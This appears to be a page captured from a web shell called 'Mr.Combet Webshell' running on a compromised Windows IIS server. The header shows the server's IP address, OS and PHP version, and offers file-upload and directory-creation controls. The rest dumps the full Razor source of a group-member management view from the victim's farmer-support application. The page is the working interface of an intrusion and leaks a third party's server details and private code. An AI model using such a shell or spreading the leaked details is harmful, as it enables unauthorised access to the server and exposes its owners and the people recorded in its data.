Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
GroupMembers
/
View File Name :
Index.cshtml
@model RER_Project.DataAccess.ViewModels.GroupMembers.GroupMembersViewModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ //ViewBag.Title = "Group Member of Group ' " + Model.FnShortGroupInformation.group_name + " '"; var meta = AppUserService.GetCurrent(); var currentWorkFlow = WorkFlowService.CurrentGroupWorkFlow(meta.RoleId, Model.GroupId); var is_At_LeastOne_PPI_Exists_ForAll_Member = false; } @if (Model.MemberDetailViews.Count > 0) { foreach (var item in Model.MemberDetailViews) { if (item.TotalPPICount >= 1) { is_At_LeastOne_PPI_Exists_ForAll_Member = true; } else { is_At_LeastOne_PPI_Exists_ForAll_Member = false; } } } <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-10"> <div id="currentMemberId"></div> <strong><span style="font-size:medium"> IFF Member Information of @Model.FnShortGroupInformation.group_name </span></strong><br /> <br /> <div class="row"> <div class="col-lg-8"> <span style="font-size: 100%;"> Province: <strong>@Model.FnShortGroupInformation.province</strong> </span> <span style="font-size: 100%;"> Atoll: <strong>@Model.FnShortGroupInformation.district</strong> </span> <span style="font-size: 100%;"> Island: <strong> @Model.FnShortGroupInformation.municipality</strong> </span> </div> </div> <br /> <div class="row"> <div class="col-lg-8"> @* <span style="font-size: 100%;"> Ward:<strong> @Model.FnShortGroupInformation.ward</strong> </span>*@ @*<span style="font-size: 100%;"> Commodity: <strong>Model.FnShortGroupInformation.commodity</strong> </span>*@ @*<span style="font-size: 100%;"> # of Beneficiaries: <strong>@Model.FnShortGroupInformation.beneficiaries_no</strong> </span>*@ </div> </div> </div> <div class="col-lg-2"> <div class="title-action"> <a href="@("/group-members/create?groupId=" + Model.FnShortGroupInformation.group_id)" class=" btn btn-primary showCreateBtn">Create</a> @*@if (Model.FnShortGroupInformation.beneficiaries_no == Model.FnShortGroupInformation.membercount) { if (meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectManager || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor || meta.RoleId == (int)EnumRoleHelper.Roles.ProgrameOfficer) { <a href="@("/group-members/create?groupId=" + Model.FnShortGroupInformation.group_id)" class=" btn btn-primary showCreateBtn">Create</a> <h2 style="color:green"> Complete</h2> } } else { if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor || meta.RoleId == (int)EnumRoleHelper.Roles.ProgrameOfficer) { if (meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor) { if (meta.UserId == Model.FnShortGroupInformation.user_id) { <a href="@("/group-members/create?groupId=" + Model.FnShortGroupInformation.group_id)" class=" btn btn-primary showCreateBtn">Create</a> } } else { <a href="@("/group-members/create?groupId=" + Model.FnShortGroupInformation.group_id)" class=" btn btn-primary showCreateBtn">Create</a> } } <h2 style="color:red">Incomplete</h2> }*@ </div> <div> @if (Model.MemberDetailViews.Count > 0) { <div class="pull-right"> <a href="#" onclick="exportExcel()" class="btn"> <img src="~/Images/ExternalIcon/excel.png" style="height:32px;width:32px" /> </a> </div> } </div> </div> </div> <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class="wrapper wrapper-content animated"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <table class="footable table table-hover dataTables cell-border" data-page-size="8" data-filter=#filter style="width:100%"> <thead> <tr> <th>SN</th> <th>MemberId</th> <th>Name </th> @* <th>Ward</th>*@ <th>Gender</th> @* <th>Origin</th>*@ @* <th>Ethnicity</th>*@ <th>Positions</th> @* <th style=" white-space: nowrap;"> GALS Form and Score </th>*@ @*<th style=" white-space: nowrap;">PPI </th>*@ <th style=" white-space: nowrap;">VA</th> <th style=" white-space: nowrap;">MDD-W</th> <th style=" white-space: nowrap;">Is Active</th> @if (currentWorkFlow.StatusId == 1) { if (meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.Specialist || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.BDS) { <th> Baseline / Farmer Diary</th> } } <th style=" white-space: nowrap;">Action</th> </tr> </thead> <tbody> @{ int serialNo = 1; } @foreach (var item in Model.MemberDetailViews) { <tr> <td> @serialNo @{ serialNo++; } </td> <td> @item.Id </td> <td>@item.FirstName @item.LastName </td> @* <td>@item.WardNo</td>*@ <td>@item.Gender</td> @* <td>@item.Origin</td>*@ @* <td>@item.Ethinicity</td>*@ <td>@item.Positions</td> @* <td> @if (item.Gender == "Female") { <a class='' style='font-size:14px;padding:5px' onclick="getGALSData('@item.Id')"><i style='cursor:pointer;' class='fa fa-eye'></i></a> <a href="@("/gals?memberId=" + item.Id)" title="GALS" style="font-size:15px;padding:5px"> <span class="badge"> <small>Count: @item.TotalGALS</small> </span> </a> } </td>*@ @* <td style=" white-space: nowrap;"> <a class='' style='font-size:14px;padding:5px' onclick="getPPIData('@item.Id')"><i style='cursor:pointer;' class='fa fa-eye'></i></a> <a href="@("/ppi?groupId=" + Model.GroupId + "&memberId=" + item.Id)" title="PPI" style="font-size:15px;padding:5px"> <span class="badge"> <small>Count: @item.TotalPPICount</small> </span> </a> </td> *@ <td style=" white-space: nowrap;"> @if (item.Gender == "Female") { @*<a class='' style='font-size:14px;padding:5px' onclick="getVaData('@item.Id')"><i style='cursor:pointer;' class='fa fa-eye'></i></a>*@ <a href="@("/va?groupId=" + Model.GroupId + "&memberId=" + item.Id)" title="VA" style="font-size:15px;padding:5px"> <span class="badge"> <small>Count: @item.TotalVACount</small> </span> </a> } </td> @*@if (item.Gender == "Female") {*@ <td style=" white-space: nowrap;"> @*<a class='' style='font-size:14px;padding:5px' onclick="getPPIData('@item.Id')"><i style='cursor:pointer;' class='fa fa-eye'></i></a>*@ <a href="@("/mddw?groupId=" + Model.GroupId + "&memberId=" + item.Id)" title="MDDW" style="font-size:15px;padding:5px"> <span class="badge"> <small>Count: @item.TotalMDDCount</small> </span> </a> </td> @*} else { <td style=" white-space: nowrap;"> </td> }*@ <td> <center> <input @((meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.BDS || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.PICC) ? "" : "disabled") type="checkbox" onclick='disContinueMember(this,"@item.Id","@item.IsActive")' name="IsDiscontinue" value="@item.IsActive.ToString().ToLower()" @(item.IsActive == true ? "checked" : "") id="IsGals" class="chkBoxForDiscontinueMember"> </center> </td> @*@if (currentWorkFlow.StatusId == 1) { if (meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.Specialist || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.BDS) {*@ <td> @if ((item.AllowFarmerDiary == false)) { <a href="baseline/create/@item.Id" title="Baseline" style="font-size:15px;padding:5px"> <span class="badge">Baseline <i class="fa fa-plus-circle" style="color:green"></i></span></a> } else { <a href="baseline/create/@item.Id" title="Baseline" style="font-size:15px;padding:5px"> <span class="badge">Baseline <i class="fa fa-plus-circle" style="color:green"></i></span></a> <a href="baseline/view/member/@item.Id" title="Baseline" style="font-size:15px;padding:5px"> <span class="badge">Baseline <i style="color:green" class="fa fa-eye" aria-hidden="true"></i></span></a> <a href="farmer_diary/time_frame/member/@item.Id"> <span class="badge" title="Farmer Diary">Farmer's Diary <i class="fa fa-book"></i></span></a> } </td> @* } }*@ @* status = "approved and role = "mce" *@ <td style=" white-space: nowrap;"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.Specialist || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector || meta.RoleId == (int)EnumRoleHelper.Roles.HCC || meta.RoleId == (int)EnumRoleHelper.Roles.CICC || meta.RoleId == (int)EnumRoleHelper.Roles.PICC || meta.RoleId == (int)EnumRoleHelper.Roles.GESIOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor || meta.RoleId == (int)EnumRoleHelper.Roles.ProgrameOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.BDS) { if (item.AllowFarmerDiary == false && (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector || meta.RoleId == (int)EnumRoleHelper.Roles.Specialist || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor || meta.RoleId == (int)EnumRoleHelper.Roles.ProgrameOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.BDS)) { if (item.IsActive == true) { <a class="btn btn-default btn-xs" href="@("/group-members/edit?groupId=" + Model.GroupId + "&memberId=" + item.Id)" title="Edit" style="color:dodgerblue"><i class="fa fa-edit"></i></a> } if (meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <button class="btn btn-default btn-xs" title="Delete" style="color:red" onclick="deleteUser('@item.Id')"><i class="fa fa-times"></i></button> } } else { <a class="btn btn-default btn-xs" href="@("/group-members/edit?groupId=" + Model.GroupId + "&memberId=" + item.Id)" title="Edit" style="color:dodgerblue"><i class="fa fa-edit"></i></a> } @*<a href="/private-sector/delete?privateSectorId=@item.Id" title="Delete" style="font-size:15px;padding:5px"><i class="fa fa-trash"></i></a>*@ } <a class="btn btn-default btn-xs" href="/group-members/group/@item.GroupId/member/@item.Id" title="View report" style="color:dodgerblue"><i class="fa fa-eye"></i></a> @* <a class="btn btn-default btn-xs" href="/changeiff_farmer/group/@item.GroupId/member/@item.Id" style="color:dodgerblue" title="Change IFF/Farmers"><i class="fa fa-users"></i></a>*@ <a class="btn btn-default btn-xs" onclick="openVaModelPopUp(@item.Id,'@item.FirstName','@item.LastName','@item.Province','@item.District','@item.Municipality')" title="Change IFF"><i style='cursor:pointer;' class='fa fa-users'></i></a> @* @if (currentWorkFlow.StatusId == 1) { <a class="btn btn-default btn-xs" onclick="showDetails(@item.Id,@item.GroupId)" title="A2F"> <i class="fa fa-dollar"></i> </a> }*@ @* <a class="btn btn-warning btn-xs" onclick="recommendMemberByMne(@item.Id)" title="Recommend Group" style="color:dodgerblue">Recommend</a>*@ </td> </tr> } </tbody> </table> <div class="row"> <div class="form-group pull-right"> @* If user has Admin Role then don't show Recommend Option *@ @* Or If StatusId = 5 or Already Recommended then Don't show Recommendation Option *@ @if (currentWorkFlow.StatusId != 4) { @*<a href="#" class="btn btn-warning" onclick="recommendEDFMember('@Model.GroupId')"><i class="fa fa-gavel" aria-hidden="true"></i> Recommend @currentWorkFlow.StatusId</a>*@ if ((currentWorkFlow.RoleId == 0 && meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == 0 && meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.EDF && meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && currentWorkFlow.StatusId != 2)|| (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId != 2) ) /*|| (currentWorkFlow.RoleId == 0 && meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.Admin && meta.RoleId == (int)EnumRoleHelper.Roles.MnE && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.MnE && meta.RoleId == (int)EnumRoleHelper.Roles.HCC && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.HCC && meta.RoleId == (int)EnumRoleHelper.Roles.CICC && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.CICC && meta.RoleId == (int)EnumRoleHelper.Roles.PICC && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.EDF && meta.RoleId == (int)EnumRoleHelper.Roles.HCC && currentWorkFlow.StatusId != 2) || currentWorkFlow.StatusId == 4)*/ { var btnClass = "btn btn-warning"; var btnName = "Approve "; var fontClass = "fa fa-share"; if (Model.MemberDetailViews.Count > @ViewBag.iD) { if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin) { btnClass = "btn btn-primary"; } <a href="#" class="@btnClass" onclick="checkMemberAndOpenApproveModal('@Model.GroupId')"><i class="@fontClass" aria-hidden="true"></i> @btnName</a> } } //3 => Reject Status if ((currentWorkFlow.RoleId == 0 && meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == 3 && meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == 0 && meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && currentWorkFlow.StatusId != 2) || (currentWorkFlow.RoleId == 3 && meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector && currentWorkFlow.StatusId != 2) )/*|| (currentWorkFlow.RoleId == (int)EnumRoleHelper.Roles.EDF && meta.RoleId == (int)EnumRoleHelper.Roles.HCC && currentWorkFlow.StatusId != 2) || currentWorkFlow.StatusId == 4)*/ { if (Model.MemberDetailViews.Count > @ViewBag.iD) { <button type="button" class="btn btn-danger " data-toggle="modal" data-target="#reject"> Reject </button> } } } @if (meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainHead || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor) { <a href="/groups/supply_chain" class="btn btn-default pull-right"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back </a> } else { <a href="/groups" class="btn btn-default pull-right"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back </a> } </div> </div> @* <h4><u>Disaggregate Data</u></h4> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div id="output" style="margin: 10px;"></div> </div> </div> </div>*@ </div> </div> </div> <div class="modal inmodal" id="viewIndividualVaData" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated"> <div> </div> <div class="modal-body" style="height:50vh;"> <button type="button" class="close" data-dismiss="modal">×</button> <p> <div class="row"> <div class="container-fluid" style="padding-left:30px;padding-top:10px;"> <div class="row"> <div class="col-lg-3"> Member Name: </div> <div class="col-lg-7 control-label" id="fullname"></div> </div> </div> <div class="container-fluid" style="padding-left:30px;padding-top:10px;"> <div class="row"> <div class="col-lg-3"> Province: </div> <div class="col-md-8 control-label" id="province"></div> </div> </div> <div class="container-fluid" style="padding-left:30px;padding-top:10px;"> <div class="row"> <div class="col-lg-3"> Atoll: </div> <div class="col-md-8 control-label" id="district"></div> </div> </div> <div class="container-fluid" style="padding-left:30px;padding-top:10px;"> <div class="row"> <div class="col-lg-3"> Island: </div> <div class="col-md-8 control-label" id="municapilaty"></div> </div> </div> <div class="form-group col-md-12" style="margin-top:20px;"> <div class="col-md-12 control-label parentElem"> Change IFF </div> <div class="col-md-12" style="margin-top:10px;"> <select type="text" class="form-control searchSelect" id="GroupId" name="GroupId" data-api="/siftgroup/select" style="width:500px"> <option value="">All</option> </select> </div> </div> <div class="form-group" style="float:right;padding-top:30px;"> <div class="col-md-3"> <button type="button" id="saveGroup" name="saveGroup" class="btn btn-primary center-orientation">Submit</button> </div> </div> </div> </p> </div> <div class="modal-footer"> </div> </div> </div> </div> </div> @* <div class="modal inmodal" id="ViewPPIData" tabindex="-1" role="dialog" aria-hidden="true"> @{ Html.RenderAction("ViewPPIData", "PPI");} </div>*@ <div class="modal inmodal" id="ViewPPIData" tabindex="-1" role="dialog" aria-hidden="true"> @**@ @{ Html.RenderAction("ViewVaData", "Va");} </div> <div> @{ Html.RenderAction("ViewGALSData", "GALSGroup");} </div> <div class="modal inmodal" id="approve" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to approve this group ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="Remarks"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="approveGroup('@Model.GroupId')" id="ApproveBtn" class="btn btn-success"><i class="fa fa-check"></i> Approve</a> </div> </div> </div> </div> <div class="modal inmodal" id="reject" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to reject this group ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="RemarkForRejected"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="rejectGroup('@Model.GroupId')" id="RejectBtn" class="btn btn-danger"><i class="fa fa-times"></i> Reject</a> </div> </div> </div> </div> <div class="modal inmodal" id="recommendation" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to recommend this Member to EDF ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="RecommendRemarks"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="postRecommendEDFMember('@Model.GroupId')" id="ApproveBtn" class="btn btn-warning"><i class="fa fa-check"></i> Recommend</a> </div> </div> </div> </div> <div class="modal inmodal" id="recommendationByMne" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to recommend this Family Member Detail?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <input type="hidden" name="Id" id="recommendationId" /> <input type="hidden" name="GroupId" id="GroupId" /> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="Remarks"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="postRecommend_GroupMember_FromMne_To_EDF()" id="ApproveBtn" class="btn btn-warning"><i class="fa fa-check"></i> Recommend</a> </div> </div> </div> </div> @* <a href="#" onclick="rejectGroup('@Model.GroupId')" id="RejectBtn" class="btn btn-danger"><i class="fa fa-times"></i> Reject</a>*@ </div> <link href="~/Content/datatables.min.css" rel="stylesheet" /> <link href="~/Content/css/select2.min.css" rel="stylesheet" /> <script src="~/Scripts/datatables.min.js"></script> <script type="text/javascript"> $(document).ready(function () { $('.dataTables').DataTable({ stateSave: true, fixedHeader: true, pageLength: 15, scrollX: true, dom: '<"html5buttons"B>lTfgitp', buttons: [ //{ extend: 'copy' }, //{ extend: 'csv' }, //{ extend: 'excel', title: 'ExampleFile' }, //{ extend: 'pdf', title: 'ExampleFile' }, //{ // customize: function (win) { // $(win.document.body).addClass('white-bg'); // $(win.document.body).css('font-size', '10px'); // $(win.document.body).find('table') // .addClass('compact') // .css('font-size', 'inherit'); // } //} ] }); canCreateGroupMember(); }); function recommendEDFMember(groupId) { $('#recommendation').modal('show'); } function postRecommendEDFMember(groupId) { var ajax = requestForRecommendMNEByHCCAndCiccAndPiccMember(groupId); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#recommendation').modal('hide'); ShowMessage("success", "This group has been Recommendated Successfully To MNE."); window.location.href = "/groups?page=1"; } else { ShowMessage("error", "No. of member created should be equal to No. of beneficiaries."); } WorkForce.loader.hide(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } function requestForRecommendMNEByHCCAndCiccAndPiccMember(groupId) { var remarks = document.getElementById('RecommendRemarks').value; const url = "/group/recommend/to/mne"; //ModuleMemberId is GroupId in database const data = JSON.stringify({ "ModuleMemberId": groupId, "Remarks": remarks ,'RoleId':@meta.RoleId}); console.log(window.getAjaxRequest(url, "POST", data)) return window.getAjaxRequest(url, "POST", data); } function checkMemberAndOpenApproveModal(id) { console.log("hey",id) WorkForce.loader.hide(); $('#approve').modal('show'); @*WorkForce.loader.show(); var totalCurrentGroupMember = @Model.MemberDetailViews.Count; var totalBeneficiaries = @Model.FnShortGroupInformation.beneficiaries_no; if (totalCurrentGroupMember != totalBeneficiaries) { ShowMessage("error", "No. of member created should be equal to No. of beneficiaries."); WorkForce.loader.hide(); return; }*@ @*if (@meta.RoleId != 12 && @meta.RoleId != 4) {*@ @* if ("@is_At_LeastOne_PPI_Exists_ForAll_Member" === "False") { ShowMessage("error", "All member within the group should have at least one PPI Value"); WorkForce.loader.hide(); return; }*@ //} @*if (totalCurrentGroupMember == totalBeneficiaries ) { WorkForce.loader.hide(); $('#approve').modal('show'); }*@ } function canCreateGroupMember() { var totalCurrentGroupMember = @Model.FnShortGroupInformation.membercount; var totalBeneficiaries = @Model.FnShortGroupInformation.beneficiaries_no; if (totalCurrentGroupMember == totalBeneficiaries) { @*$('.showCreateBtn').hide();*@ $('.showCreateBtn').show(); } else { $('.showCreateBtn').show(); } } function request(id) { const url = "/group/finalize"; const data = JSON.stringify({ Id: id }); console.log(window.getAjaxRequest(url, "POST", data)) return window.getAjaxRequest(url, "POST", data); } function requestForApprove(id) { debugger; const url = "/group/approve"; let remarks = document.getElementById('Remarks').value; const data = JSON.stringify({ "ModuleMemberId": id, "Remarks": remarks }); return window.getAjaxRequest(url, "POST", data); } function requestForReject(id) { let remarks = document.getElementById('RemarkForRejected').value; const url = "/group/reject"; const data = JSON.stringify({ "ModuleMemberId": id, "Remarks": remarks }); console.log(window.getAjaxRequest(url, "POST", data)) return window.getAjaxRequest(url, "POST", data); } function rejectGroup(id) { let conf = confirm(`Are you sure you want to Reject this group ?`); if (!conf) { return; } else { WorkForce.loader.show(); var ajax = requestForReject(id); ajax.done(function (response) { WorkForce.loader.hide(); debugger; if (response) { $('#reject').modal('hide'); ShowMessage("success", "This group has been Rejected Successfully."); window.location.href = "/groups"; } else {//No. of member created should be equal to No. of beneficiaries ShowMessage("error", "Unable to Reject Group Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function approveGroup(id) { let conf = confirm(`Are you sure you want to Approved this group ?`); if (!conf) { return; } else { WorkForce.loader.show(); var ajax = requestForApprove(id); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#approve').modal('hide'); ShowMessage("success", "This group has been Forward Successfully."); window.location.href = "/groups"; } else {//No. of member created should be equal to No. of beneficiaries ShowMessage("error", "Unable to Approved Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function recommendMemberByMne(id) { $('#recommendationByMne').modal('show'); $('#memberId_Mne_To_Edf_PopUp').val(id); } function postRecommend_GroupMember_FromMne_To_EDF() { var ajax = requestForRecommendEdfByMne(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#recommendationByMne').modal('hide'); ShowMessage("success", "This Module has been Recommendated Successfully To EDF ."); window.location.href = "/group-members?groupId=@Model.GroupId"; } else { ShowMessage("error", "No. of member created should be equal to No. of beneficiaries."); } WorkForce.loader.hide(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } function requestForRecommendEdfByMne() { var remarks = document.getElementById('RecommendRemarks_Mne_To_Edf_PopUp').value; var memberId = document.getElementById('memberId_Mne_To_Edf_PopUp').value; const url = "/recommend/group_member/to_edf/from_mne"; const data = JSON.stringify({ "Remarks": remarks, "TblName": "Member" ,'PrimaryKey':memberId,'GroupId':'@Model.GroupId','MemberId':memberId}); return window.getAjaxRequest(url, "POST", data); } function exportExcel() { window.location.href = `report/group_member/export?provinceId=0&districtId=0&municipalityId=0&groupId=@Model.FnShortGroupInformation.group_id`; } function disContinueMember(cb, memId, status) { let conf = ""; if (status === 'onclick') { conf = confirm(`Are you sure you want to Discontinue this Member ?`); } else { conf = confirm(`Are you sure you want to Continue this Member ?`); } if (!conf) { window.location.reload(); WorkForce.loader.hide(); return; } else { WorkForce.loader.show(); var model = { Id: memId , IsActive : status}; const ajax = requestAMemberForDisablingMember(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location.reload(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } } function requestAMemberForDisablingMember(model) { const url = "/member/discontinue/one_to_one"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } function deleteUser(memberId) { let conf = confirm(`Are you sure to delete this member ?`); if (!conf) { return; } else { var ajax = requestForDeleteUser(memberId); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { ShowMessage("success", "This member has been deleted Successfully."); window.location.href = "/group-members?groupId=@Model.GroupId"; } else { ShowMessage("error", "No. of member created should be equal to No. of beneficiaries."); } WorkForce.loader.hide(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function requestForDeleteUser(memberId) { //var remarks = document.getElementById('RecommendRemarks').value; const url = "/group_member/delete"; //ModuleMemberId is GroupId in database const data = JSON.stringify({ "Id": memberId}); console.log(window.getAjaxRequest(url, "POST", data)) return window.getAjaxRequest(url, "POST", data); } function showDetails(id, groupId) { AjaxForm.popup("/member-finance", { memberId: id, groupId:groupId }); } </script> <script src="~/Content/plugins/pivotTable/jquery-1.8.3.min.js"></script> <script src="~/Content/plugins/pivotTable/jquery-ui-1.9.2.custom.min.js"></script> <script src="~/Content/plugins/pivotTable/pivot.js"></script> <script> var js2 = $.noConflict(true); </script> <script type="text/javascript"> js2(document).ready(function () { loadGroupWiseBIReport(); }) function loadGroupWiseBIReport() { const ajax = request(); function request() { const url = '/member/bi_report/@Model.GroupId'; return window.getAjaxRequest(url, "Get", 1); } ajax.done(function (response) { setToPivotTable(response); console.log(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function setToPivotTable(response) { console.log(response); js2("#output").pivotUI( response, { rows: ["MigrantStatus", "AgeGroup"], cols: ["Ethnicity", "Origin", "Gender"] } ); } function openVaModelPopUp(vaId, firstname, lastname, province, district, municapilaty) { window.initializeSelectApis2(); $('.select22').select2(); $('.searchSelect').select2({ dropdownParent: $('.parentElem') }); $('#viewIndividualVaData').modal('show'); var fullname = firstname +' '+ lastname; $("#fullname").text(fullname); $("#province").text(province); $("#district").text(district); $("#municapilaty").text(municapilaty); $("#saveGroup").off("click").on("click", function () { ChangeGroups(vaId); $('#viewIndividualVaData').modal('hide'); showNotification("success"); location.reload(); }); } async function ChangeGroups(vaId) { var xhr = new XMLHttpRequest(); var json = { groupchangeId: document.getElementById('GroupId').value, memberId: vaId }; var urlSearchParamss = new URLSearchParams(json); xhr.open('POST', '/changegroup/detail', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send(urlSearchParamss); } </script> <style> @@import url('../../Content/plugins/pivotTable/pivot.css'); #output { 